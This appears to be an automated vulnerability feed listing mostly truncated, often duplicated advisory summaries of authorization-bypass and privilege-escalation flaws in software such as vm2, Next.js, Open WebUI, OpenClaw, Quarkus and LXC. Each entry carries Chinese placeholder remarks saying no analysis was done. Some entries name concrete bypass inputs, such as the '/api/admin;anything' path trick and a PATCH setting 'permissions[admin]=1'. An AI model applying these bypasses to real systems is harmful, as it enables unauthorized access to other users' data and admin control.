Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.83.39, a missing authorization directive on the GET /api/v1/stable/dags/tasks endpoint caused Hatchet's tenant-membership check to be skipped for this route. A user authenticated to any tenant on the same Hatchet instance could query the endpoint with another tenant's UUID and a DAG UUID
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2//manifests/ endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. This vulnerability is fixed in 3.1.1.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Yordam Information Technology Consulting, Training and Electronic Systems Industry and Trade Inc. Library Automation System allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Library Automation System: from v.19.5 before v.22.1.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Backstage is an open framework for building developer portals. Prior to 0.6.11, the unprocessed entities read endpoints in @backstage/plugin-catalog-backend-module-unprocessed do not enforce permission authorization checks. Any authenticated user can access unprocessed entity records regardless of ownership. This is an information disclosure vulnerability affecting Backstage installations using th
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MISP is an open source threat intelligence and sharing platform. Prior to 2.5.37, an improper access control vulnerability in the authentication key reset functionality allowed an authenticated organization administrator to reset authentication keys belonging to site administrator accounts within the same organization. Because non-site administrators were not explicitly prevented from accessing or
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CKAN is an open-source DMS (data management system) for powering data hubs and data portals. Prior to 2.10.10 and 2.11.5, a vulnerability in datastore_search_sql allowed attackers to bypass authorization in order to gain access to private resources and PostgreSQL system information This vulnerability is fixed in 2.10.10 and 2.11.5.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_pr
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Next.js is a React framework for building full-stack web applications. From 12.2.0 to before 15.5.16 and 16.2.5, Applications using the Pages Router with i18n configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less /_next/data//.json requests. In affected configurations, middleware does not run for the unprefixed data route, allo
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The advisory `GHSA-c77m-r996-jr3q` patched `getBookmark` so that, when invoked by a publish-mode `RoleReader`, results are filtered through `FilterBlocksByPublishAccess` to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access b
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets from any namespace on every downstream cluster targeted by their `GitRepo`.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in the "submitted together" feature in Gerrit versions 2.12 and later allows an authenticated attacker with force push permissions on a secondary branch to bypass code review and forcefully submit code to restricted branches via a crafted submission matching the "topic" tag of an unapproved change.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary An unauthenticated open redirect in Authlib's `OpenIDImplicitGrant` and `OpenIDHybridGrant` authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the `openid` scope. ### Details #### Vulnerable code `OpenIDImplicitGrant.validate_authorization_request` in `authlib/
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Heym before 0.0.21 contains an authorization bypass vulnerability in workflow execution that allows authenticated users to execute arbitrary workflows by referencing victim workflow UUIDs without proper access validation. Attackers can create workflows with execute nodes or agent subWorkflowIds pointing to victim workflow UUIDs to load and execute those workflows under attacker-controlled executio
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PowerSYSTEM Center feature for device project groups allows an authenticated user with limited permissions to perform an unauthorized deletion of project groups.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PowerSYSTEM Center REST API endpoint for devices allows a low privilege authenticated user to access information normally limited by operational permissions.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PowerSYSTEM Center REST API endpoint for device account export allows an authenticated user with limited permissions to expose sensitive information normally restricted to administrative permissions only.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Heym before 0.0.21 contains an authorization bypass vulnerability in workflow execution that allows authenticated users to execute arbitrary workflows by referencing victim workflow UUIDs without proper access validation. Attackers can create workflows with execute nodes or agent subWorkflowIds pointing to victim workflow UUIDs to load and execute those workflows under attacker-controlled executio
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the readonly flag set on the JSP tag is intended to prevent file modifications. When protected=true, elfinder_checkRisk enforces that the client sends readonly=true (matching the session value), but no event handler checks the readonly value before performing write operations. The flag only controls client-side UI elements (disabling b
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
wger is a free, open-source workout and fitness manager. Prior to 2.6, the reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=Non
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PowerSYSTEM Center feature for device project groups allows an authenticated user with limited permissions to perform an unauthorized deletion of project groups.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PowerSYSTEM Center REST API endpoint for devices allows a low privilege authenticated user to access information normally limited by operational permissions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PowerSYSTEM Center REST API endpoint for device account export allows an authenticated user with limited permissions to expose sensitive information normally restricted to administrative permissions only.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue re
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ArcadeDB is a Multi-Model DBMS. Prior to 2.6.4, authenticated users and API tokens scoped to a specific database could read, write, and mutate schema on any other database on the same server. Two distinct defects contributed: (1) ServerSecurityUser.getDatabaseUser() returned a DB user with an uninitialized fileAccessMap, which requestAccessOnFile treated as allow-all; (2) ArcadeDBServer.createData
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Relay adds real-time collaboration to Obsidian. Relay Server versions 0.9.0 through 0.9.6 contain an authentication bypass in the multi-document WebSocket endpoints. When authentication is configured, WebSocket connections without a token query parameter were incorrectly treated as having full server permissions. An unauthenticated network attacker who knows or guesses a document ID could connect
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue re
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden allows an unconfirmed organization owner to purge the entire organization vault. The organization invite flow uses a two-step process: accepting an invite transitions membership from Invited to Accepted, and a separate confirmation by an existing owner upgrades it to Confirmed. The POST /api/ciphers/purge en
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Outline is a service that allows for collaborative documentation. Prior to 1.7.0, the shares.create API accepts both collectionId and documentId simultaneously and, when published=false, only verifies read access for each—skipping the "share" permission check. A subsequent shares.update authorizes publication using an OR policy (can share collection OR can share document), so an attacker who holds
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.32.2, the GET /api/collections and GET /api/collections/:id endpoints return collections from all libraries without checking whether the requesting user has access to each collection's library. An authenticated user with access to any library can enumerate and read collections (including full book metadata) from libraries the
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.32.2, the GET /api/libraries/:id/download endpoint validates that the requesting user has access to the library specified in the URL path, but fetches downloadable items solely by attacker-provided IDs without constraining them to that library. An authenticated user with download permission and access to any one library can e
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
oxyno-zeta/s3-proxy is an aws s3 proxy written in go. Prior to 5.0.0, s3-proxy contains an authentication bypass caused by inconsistent URL path interpretation between the authentication middleware and the bucket handler. The authentication middleware evaluates resource path patterns against the percent-encoded request URI (r.URL.RequestURI()), while the bucket handler constructs S3 object keys fr
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The mc_issue_update() function in MantisBT allows users having *update_bug_threshold* access (UPDATER, with default settings) to edit, change view state, and modify time tracking on bugnotes belonging to other users — bypassing the default DEVELOPER (level 55) threshold required by the dedicated mc_issue_note_update() function. ### Impact 1. UPDATER can edit notes by DEVELOPER/MANAGER/ADMIN — byp
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.20 contains a hook session-key bypass vulnerability that allows attackers to circumvent the hooks.allowRequestSessionKey opt-in restriction. Attackers can render externally influenced session keys through templated hook mappings to bypass webhook routing isolation controls.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.20 contains a tool policy bypass vulnerability allowing bundled MCP and LSP tools to circumvent configured tool restrictions. Attackers with local agent access can append restricted tools to the effective tool set after policy filtering, bypassing profile policies, allow/deny lists, owner-only restrictions, sandbox policies, and subagent policies.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.21 contains an authorization bypass vulnerability in command-auth.ts that allows non-owner senders to execute owner-enforced slash commands when wildcard inbound senders are configured without explicit owner allowFrom settings. Attackers can exploit this by sending commands like /send, /config, or /debug on affected channels to bypass owner-only command authorization checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the set_config_value() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/__init__.py gates security-sensitive options behind a hand-maintained allowlist ADMIN_ONLY_CORE_OPTIONS. The option ("general", "ssl_verify") is not on that allowlist. Any authenticated user with the non-admin SETTINGS
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attac
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Clerk JavaScript is the official JavaScript repository for Clerk authentication. has(), auth.protect(), and related authorization predicates in @clerk/shared, @clerk/nextjs, @clerk/backend, and other framework SDKs can return true for certain combined authorization checks when the result should be false, allowing a gated action to proceed for a user who does not satisfy the full set of requested c
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the grav['accounts'] service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt. This vulnerability is fi
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Due to not validating the organization context when executing adaptive authentication flows, the WSO2 Identity Server allows adaptive authentication logic to be triggered on unintended organizations. A malicious actor with privileges to configure adaptive authentication within one organization can leverage this functionality to execute authentication logic on other organizations and sub-organizati
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Due to a lack of user account state validation during authentication, locked user accounts can be successfully authenticated using Magic Link or Pass Key methods. This bypasses the intended security control that should prevent access to accounts that have been locked. This vulnerability may allow unauthorized access to applications and sensitive data associated with accounts that should have been
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Pelican is a platform for creating data federations. From versions 7.21.0 to before 7.21.5, 7.22.0 to before 7.22.3, 7.23.0 to before 7.23.3, and 7.24.0 to before 7.24.2, there is a a privilege escalation vulnerability affecting Pelican's Web User Interface (WebUI). This attack allows any user authenticated to the WebUI via OAuth to gain admin privileges under certain configurations. This issue ha
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An improper authorization vulnerability in HCL BigFix WebUI allows an authenticated user without Master Operator privileges to access internal data (site names, versions, and configuration variables) and bypass privilege requirements via unprotected endpoints lacking adequate security headers.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An improper authorization vulnerability in HCL BigFix WebUI allows an authenticated user without Master Operator privileges to access internal data (site names, versions, and configuration variables) and bypass privilege requirements via unprotected endpoints lacking adequate security headers.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.12.10, a vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. This issue has been patched in version 0.12.10.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary free5GC's NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscr
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact An authenticated user with only `users.edit` permission can escalate their own privileges to `admin` by sending a PATCH request to `/api/v1/users/{id}` with `permissions[admin]=1`. The API controller only strips the `superuser` key from the permissions array, allowing `admin` and all other permission keys to be set by any user who can update users. ### Patches Patched in https://github
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Data Space Portal is an open-source Software as a Service (SaaS) solution designed to streamline Dataspace management. From version 2.1.1 to before version 7.3.2, there is insufficient authorization in the dataspace-portal backend regarding self-registered "PENDING" organization / user accounts. This issue has been patched in version 7.3.2.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
# Deactivated Channel Members Retain Full Access to Group/DM Channels ## Affected Component Channel membership authorization check: - `backend/open_webui/models/channels.py` (lines 663-673, `is_user_channel_member`) - Used at 15 locations in `backend/open_webui/routers/channels.py` ## Affected Versions Current main branch (commit `6fdd19bf1`) and likely all versions with the group/DM channel f
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
# Read-Only Users Can Modify Collaborative Documents via Socket.IO ## Affected Component Socket.IO collaborative document editing handler: - `backend/open_webui/socket/main.py` (lines 667-721, `ydoc:document:update` handler) ## Affected Versions Current main branch and likely all versions with collaborative note editing. ## Description The `ydoc:document:update` Socket.IO event handler check
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
# Channel Access Grants Bypass filter_allowed_access_grants ## Affected Component Channel creation and update endpoints: - `backend/open_webui/routers/channels.py` (lines 291-340, `create_new_channel`) - `backend/open_webui/routers/channels.py` (lines 617-638, `update_channel_by_id`) - `backend/open_webui/models/channels.py` (lines 825-826, `set_access_grants` call without filtering) ## Affecte
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
# Stale Admin Role in Socket.IO Session Pool Enables Post-Demotion Cross-User Note Access ## Affected Component Socket.IO session state and role-check callsites: - `backend/open_webui/socket/main.py` (lines 330-351, `connect` handler — role snapshotted into SESSION_POOL) - `backend/open_webui/socket/main.py` (lines 393-398, `heartbeat` handler — does not refresh role) - `backend/open_webui/socke
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The CloudStack Backup plugin has an improper authorization logic in versions 4.21.0.0 and 4.22.0.0. Anyone with authenticated user-account access in CloudStack 4.21.0.0+ environments, where this plugin is enabled and has access to specific APIs can list backups from any account in the environment. This vulnerability does not allow them to see the contents of the backup. Users are recommended to u
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenStack Cyborg before 16.0.1 uses rule:allow (check_str='@') as the default policy for multiple API endpoints. This unconditionally authorizes any request carrying a valid Keystone token regardless of roles, project membership, or scope. An authenticated user with zero role assignments can complete various actions such as reprogramming FPGA bitstreams on arbitrary compute nodes via agent RPC.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenStack Cyborg before 16.0.1 uses rule:allow (check_str='@') as the default policy for multiple API endpoints. This unconditionally authorizes any request carrying a valid Keystone token regardless of roles, project membership, or scope. An authenticated user with zero role assignments can complete various actions such as reprogramming FPGA bitstreams on arbitrary compute nodes via agent RPC.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary In version 5.3.0 of the Symfony bundle, `Webauthn\Bundle\Policy\ClientOverridePolicy` defaulted to allowing all client overrides, including `userVerification`. A client could send `{"userVerification": "discouraged"}` in the assertion or attestation options request to override a server-configured `userVerification: required`, causing the emitted WebAuthn options to instruct the authent
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to version 1.8.217, a user holding the PERM_EDIT_USERS permission (intended for general user-profile editing) can read and modify the notification subscriptions of any other user, including admins, by sending a single POST request. This is a sibling of CVE-2025-48472's notification authorization bypass — the p
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wallos is an open-source, self-hostable personal subscription tracker. In versions 4.8.4 and prior, the webhook notification feature reuses an administrator-configured local-target allowlist for every logged-in user. Any normal user can fully control a webhook URL, headers, and body, then use Wallos to send server-side requests to allowlisted internal automation services. When such a target expose
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Admidio is an open-source user management solution. Prior to version 5.0.9, a logic error in Admidio's two-factor authentication reset inverts the authorization check. Non-admin users cannot remove their own TOTP configuration, but they can remove other users' TOTP, including administrators. A group leader with profile edit rights on an admin account can strip that admin's 2FA. This issue has been
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Admidio is an open-source user management solution. Prior to version 5.0.9, the contacts_data.php endpoint uses a weaker permission check (isAdministratorUsers(), requiring only rol_edit_user=true) than the frontend UI (contacts.php) which correctly requires the stronger isAdministrator() (requiring rol_administrator=true) and the contacts_show_all system setting. A user manager who is not a full
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary NodeVM's `builtin` allowlist can be bypassed when the `module` builtin is allowed (including via the `'*'` wildcard). The `module` builtin exposes Node's `Module._load()`, which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like `child_process` and achieve remote code execution.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact _What kind of vulnerability is it? Who is impacted?_ A vulnerability in etcd allows read access via PrevKv, or lease attachment in Put requests within transaction operations, to bypass RBAC authorization checks. An authenticated user without sufficient read or lease-related permissions may be able to access unauthorized data or attach leases by invoking transaction operations with thes
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact Fleet's Helm deployer did not fully apply ServiceAccount impersonation in two code paths, allowing a tenant with git push access to a Fleet-monitored repository to read secrets from any namespace on every downstream cluster targeted by their `GitRepo`. **Helm `lookup` bypass:** The Helm template engine ran Kubernetes API queries with the fleet-agent's cluster-admin credentials instead
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Description A flaw was identified in the OpenSearch Security plugin's document-level security (DLS) implementation. DLS restrictions were not correctly applied to search queries that use has_parent or has_child join relations. This could allow an authenticated user to access document contents that should have been restricted by DLS rules. ### Impact An authenticated user with access to an i
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Description A flaw was identified in the OpenSearch Security plugin's handling of index rollover requests. When a rollover request included an explicit target index name, the security plugin did not properly evaluate access control permissions against the target index. This could allow a user with rollover permissions on a source index to create a new index with a name they are not authorized
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Description A flaw was identified in the OpenSearch REST layer that could allow authorization checks to be bypassed when processing certain malformed HTTP requests. This could permit unauthorized access to restricted API endpoints in environments that rely on REST-layer authorization. Transport-level authorization is not affected by this issue. ### Impact The default OpenSearch distributio
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Eight independently-filed bug fixes in the v7.1.3 → v7.5.0 release window collectively close a set of multi-tenant isolation, access-control, and policy-enforcement defects in the AxonFlow platform. They are filed as a single consolidated advisory because the recommended remediation is a single platform upgrade. ## Affected versions `= 7.5.0`. ## Impact | # | Item | Affected | Patc
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenClaw before 2026.4.15 contains an authorization bypass vulnerability in Matrix room control-command authorization that trusts DM pairing-store entries. Attackers with DM-paired sender IDs can execute room control commands without being in configured allowlists by posting in bot rooms, potentially enabling privileged OpenClaw behavior.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact Authenticated users and API tokens scoped to a specific database could read, write, and mutate schema on any other database on the same server. Two distinct defects contributed: (1) ServerSecurityUser.getDatabaseUser() returned a DB user with an uninitialized fileAccessMap, which requestAccessOnFile treated as allow-all; (2) ArcadeDBServer.createDatabase() omitted factory.setSecurity(..
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary Information disclosure exists in `Grav CMS v1.8.0-beta.29`. Despite previous security patches (notably in `v1.8.0-beta.27/28`) aimed at restricting sensitive object access within the Twig environment, the Accounts Service remains exposed. A low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the `gra
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary An insecure direct object reference and logic flaw in the Grav API plugin (`UsersController::update`) allows any authenticated user with basic API access (`api.access`) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (`admin.super` and `api.super`), leading to full system compromise and potential RCE. ###
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CVE-2026-39852 是 Quarkus 框架中的一个路径规范化不一致漏洞，影响 3.20.6.1、3.27.3.1、3.33.1.1、3.35.1.1、3.34.7 和 3.35.2 之前的版本。Quarkus 的 Security 层使用原始 URL 路径（保留矩阵参数，即分号）进行授权检查，而底层的 RESTEasy Reactive 路由层在匹配端点前会移除分号及其后续内容。这种不一致导致攻击者可以通过在请求 URL 的路径后附加分号和任意文本（例如 /api/admin;anything）来绕过原本针对 /api/admin 的 HTTP 路径授权策略，同时仍能成功路由到受保护的端点。攻击者无需认证或只需低权限即可利用此漏洞，实现未授权访问敏感功能。厂商已在上述版本中修复该问题，修复方式可能包括统一两端的分号处理逻辑。建议受影响用户立即升级到修复版本，并在无法立即升级时通过反向代理或 Web 应用防火墙对含分号的请求进行拦截或规范化处理。此漏洞为严重的授权绕过，可能导致数据泄露或系统被篡改。
💡 影响/原因: 攻击者可利用路径不一致性绕过授权，未授权访问受保护端点，导致敏感数据泄露或功能滥用，对业务安全构成直接威胁。
CVE-2026-39402 是 Linux 容器运行时 LXC 中 setuid 辅助工具 lxc-user-nic 的一个逻辑缺陷漏洞。当 lxc-user-nic 执行删除操作时，其内部函数 find_line() 在对 NIC 数据库扫描过程中，仅通过接口名称匹配即设置授权标志，而未检查该数据库条目的所有者、类型和链路字段是否属于当前调用者。由于授权检查位于 goto next 标签之后，即便先前的所有权检查失败或被跳过，该分支仍可被触发。因此，拥有有效 lxc-usernet 策略条目的非特权攻击者可以构造请求，利用此缺陷删除同一 OpenVSwitch 网桥上属于其他用户的网络接口。此漏洞仅影响使用 lxc-user-nic 与 OpenVSwitch 桥接的多租户环境。攻击者可反复触发删除操作，导致其他租户的容器失去网络连接，造成拒绝服务。该漏洞已在 LXC 7.0.0 版本中修复。建议相关用户立即升级至该版本或更高版本，以规避风险。由于漏洞利用需要本地访问和有效的策略条目，但无需高权限，对于共享基础设施的多租户容器平台危害较大。
💡 影响/原因: 该漏洞允许非特权用户在多租户环境中删除其他租户的 OVS 接口，导致拒绝服务。利用条件低（仅需有效策略条目），可破坏容器网络隔离，影响平台可用性。建议立即打补丁。
